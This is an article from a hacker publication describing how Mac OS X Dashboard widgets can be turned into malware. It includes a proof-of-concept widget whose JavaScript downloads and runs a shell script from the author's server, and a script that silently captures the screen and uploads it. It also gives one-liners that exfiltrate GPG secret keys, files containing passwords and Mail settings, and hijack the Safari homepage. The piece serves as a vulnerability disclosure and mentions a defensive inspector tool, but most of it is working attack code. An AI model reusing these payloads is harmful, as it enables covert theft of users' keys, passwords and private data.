Apple Dashboard Widget Insecurity

by zeitgeist

0x00: Disclaimer

The information presented in this article is for information and demonstration purposes only.  I can not be held liable for any damage you cause using the information presented here.  Please use the knowledge wisely and don't do any harm that you don't want to have done to yourself.

0x10: Introduction to Dashboard Widgets

In Mac OS X 10.4, Apple introduced a feature called Dashboard.  The idea of Dashboard is that you have a number of applications readily available for your use.  These applications aren't full-blown applications but only small tools like calculators, converters, clocks, and so on.  One very important aspect of these so-called "widgets" is their ability to fetch content from the Internet.  The allows the possibility to have little applications that display, for example, the latest news from an RSS feed, current weather condition, or stock quotes.  The actual Dashboard, with the widgets on it, can be activated and shown as an additional layer on top of the Mac OS X desktop.

The widgets are not only able to pull content from the Internet but may also issue system commands.  Thus, you can pull content from the Internet and process it with standard UNIX tools that come with Mac OS X.

Dashboard widgets are programmed mainly by using HTML and JavaScript.  The JavaScript engine has a couple of extensions to it which are specific for widgets.

0x20: Dashboard's Security Model

As you have read the introductory part of this article, you have probably already thought of all the things you can do by combining the Internet access of a Dashboard widget and the ability to execute system commands.  However, there is a security model underlying the Dashboard application which executes the individual widgets.

The first security measure is the fact that the widgets are only executed with the rights of the user who is currently using the Dashboard widget.  So there is no system-level access to make installing rootkits as easy as replacing /bin/bash with a modified version from some server.

The second security measure is a file called: Info.plist

This XML file has to be supplied with any valid Dashboard widget.  In the XML file are a couple of information, including the name and version of the widget, some information for the initialization of the widget, and so on.

There are three important Boolean parameters which are relevant to the security of widgets: AllowFileAccessOutsideOfWidget, AllowNetworkAccess, and AllowSystem.

These three parameters control whether your widget has access to files outside the widget's path, if the widget is granted network access, and if the widget is granted access to the command line utilities.

0x30: What's Wrong With the Security Model

Of course widgets are only executed with limited rights - namely those of the user that is using the Dashboard widget at the moment - thus denying access to a lot of system files.  However, we are not really interested in creating yet another botnet through rootkits that we install on the machine.  What's more valuable is user data.  Since we may access the system with user privileges, we may edit, remove, or create files within the user's home directory.

This includes sensitive data like ~/.gnupg/secring.gpg, which is the place where the PGP private keys are stored, and other such things.  Be creative.

Of course you might argue that this is not a problem specific to Dashboard, but is a security risk that any application might pose.  That is correct; however, Dashboard widgets are easily installed by the user and rarely considered in terms of security.  Dashboard widgets are also very easily developed and deployed.  More on that later.

The second aspect of security model is the Info.plist, which is also called a "property list" in Apple jargon.  Usually the Info.plist is edited by the developer of the widget to give access to the resources that the widget needs in order to work.

The Info.plist is bundled with the widget and is normally never seen again by regular users.  This means that the user has to trust the widget's developer to set the proper access permissions for the widget.  Without manually editing the property list file, the user has no control over widget's security settings.

0x40: Exploitation Concept

Because users usually don't check a widget's internal workings after downloading and installing it, and because widgets are easily created using the new Dashcode application from Apple, the following scenario might be possible:

An attacker creates a widgets which is as simple as counting down the days until the start of the 2008 Summer Olympics games in China.  The widget is small and downloaded by thousands of sports enthusiasts from around the world.  The widget is always opened in the Dashboard because it is so small and looks so innocent.  In reality, however, the attacker has granted the widget network access, file access, and system access.  Periodically the widget connects to a central, or perhaps distributed, command and control server that sends new instructions to the widget.

This could be done, for example every time the widget updates the days until the event start or every time the user opens the Dashboard.  The server's instructions are then downloaded and stored on the filesystem, maybe in the /tmp directory with some obscure name, and executed.

In these instructions could be anything, including a local root exploit to really gain access to the system, instructions that the system should forward any mail that the user has received to another account, or commands to delete the content of the user's documents directory.

0x50: Proof of Concept

I have created a simple proof-of-concept.  This widget looks for an instruction file on a server, and then downloads and executes those instructions.  Currently, the instruction file tells the widget to take a screenshot of the active screen and upload it to a server.  The file may, however, contain any type of commands.

There are three parts to this proof-of-concept: of course there is the widget, there is the instruction command file, and there is a small PHP script which takes the screenshot and stores it on the server.

0x51: The Widget

The widget was created using Apple's all-new Dashcode application.

The default "Hello, World!" widget was used and modified.  Two new functions were created inside of the JavaScript file that Dashcode creates by default.  The first function is called nasty() and is the function responsible for downloading and executing the instruction file from the server.

The second function is called dummyHandler() and is only used to make the widget.system() calls non-blocking.

As you can see, the nasty() function relies on being allowed to make widget.system() calls.  In the three system calls, the master.sh file is downloaded into the /tmp directory, made executable, and is then executed.

Without the dummyHandler() call, the whole widget would lock up until the processes finished.  A malicious widget might seem suspicious if it locked up for too long.

As the code shows, I am using the Curl program to download the instruction file.  This is the part where we need system and network access, so AllowNetworkAccess and AllowSystem need to be true.

In order to store the instruction file outside the widget's directory and execute it there, we need the AllowFileAccessOutsideOfWidget directive to be true in the widget's property list.

function nasty() {
  if(window.widget) {
    widget.system("/usr/bin/curl -o /tmp/master.sh http://www.geisterstunde.org/master.sh", dummyHandler);
    widget.system("/bin/chmod u+x /tmp/master.sh", dummyHandler);
    widget.system("/tmp/master.sh", dummyHandler);
  }
}

function dummyHandler() {
}

The relevant entries in Info.plist look like this:

<key>AllowFileAccessOutsideOfWidget</key>
<true/>
<key>AllowNetworkAccess</key>
<true/>
<key>AllowSystem</key>
<true/>

Make sure that you have set the HTTP_PROXY environment variable if you are behind a proxy; otherwise Curl will fail.

0x52: The Instruction File

The instruction file is straightforward.

You can easily test it by executing it on your own Mac OS X system.  Here we first execute the logger program to write something to the log files.  After that, we execute the screencapture tool with appropriate parameters to turn of the sound and capturing the whole screen.  Finally, we upload the image to the server.

#!/bin/bash
/bin/echo "0wned by zeitgeist" | /usr/bin/logger

# For screen capturing and uploading
screencapture -Sx /tmp/screen.jpg
curl -F userfile=@/tmp/screen.jpg -F press=ok http://www.geisterstunde.org/upload.php

0x53: The Upload PHP Script

The PHP script on the server is straightforward.  In order to ensure unique filenames, it creates a filename based on the MD5 hash of the current timestamp.  It then moves the uploaded file to the files/ directory.  Make sure that the files/ directory is writable by the web server.

<?php
$uploaddir = 'files/';
$uploadfile = $uploaddir . "screen-" . md5(time()) . ".jpg";
		
if(isset($_REQUEST['press']))
  move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
?>

0x60: Endless Possibilities

Here are a few ideas for other things one can do with user-level access inside of the command file.

Upload the ~/.gnupg/secring.gpg to get a user's private GPG keys:

$ /usr/bin/curl -F userfile=@~/.gnupg/secring.gpg -F press=ok http://www.geisterstunde.org/upload.php

Use the mdfind utility (command line front end to the Mac OS X Spotlight search engine) to look for all files containing the string password and upload these files.

for filename in `mdfind password`
  do
  if [[ -e $filename ]]
    then
    /usr/bin/curl -F userfile=@$filename -F press=ok http://www.geisterstunde.org/upload.php
  fi
  done

Look through the user's ~/Library/ directory for interesting settings (address book content, iCalendar events, etc.).

Read the user's Mail.app settings into a file and upload it.  We'll then be able to find out the user's email address, account type, etc.

defaults read com.apple.Mail > /tmp/maildefaults.txt
if [[ -e "/tmp/maildefaults.txt"]]
  then
  /usr/bin/curl -F userfile=@/tmp/maildefaults.txt -F press=ok http://www.geisterstunde.org/upload.php
fi

Change the user's default page in Safari.

defaults write com.apple.Safari HomePage "http://www.geisterstunde.org"

0x70: Making Things Easy for You

The usual way to deploy widgets is through the Apple widgets download site.  When you want to publish a widget in the index on their website, you submit your widget and some other information along with it.  However, a user who wants to download the widget doesn't download it from the Apple website, but from the author's original website.  I assume that Apple reviews the Dashboard widgets before publishing them in their index; however, if you are able to change the widget after it was indexed, there is no real trust in the Apple widget index.

Another security feature was added by Apple: the idea is that after downloading a widget, it seems like the widget isn't executed, but instead a window asks if you would like to "keep" or "delete" the widget.  In reality, however, the widget and possibly its malicious code are executed even before the user decides to "keep" or "delete" the widget.  I have contacted Apple about this specific vulnerability, but they haven't replied yet.

0x80: Wrap Up

The code examples presented in this articles may be downloaded from www.geisterstunde.org/widget.  The file badwidget.zip contains an example widgets which execute code from my server when clicked upon.

There is also a publicly accessible directory of screenshots (and other things I have captured) available under www.geisterstunde.org/files/.  Please be aware if you deploy the example widget, a screenshot of your machine will be posted to the site.

I have also created a small tool called WidgetInspector (Source Code) which examines the widgets on your hard drive in terms of the security issues presented in this article.

Greetings to dorothea, macglove, mattjowil, alex, yin, frida, the Machackers and the CCC.

Return to $2600 Index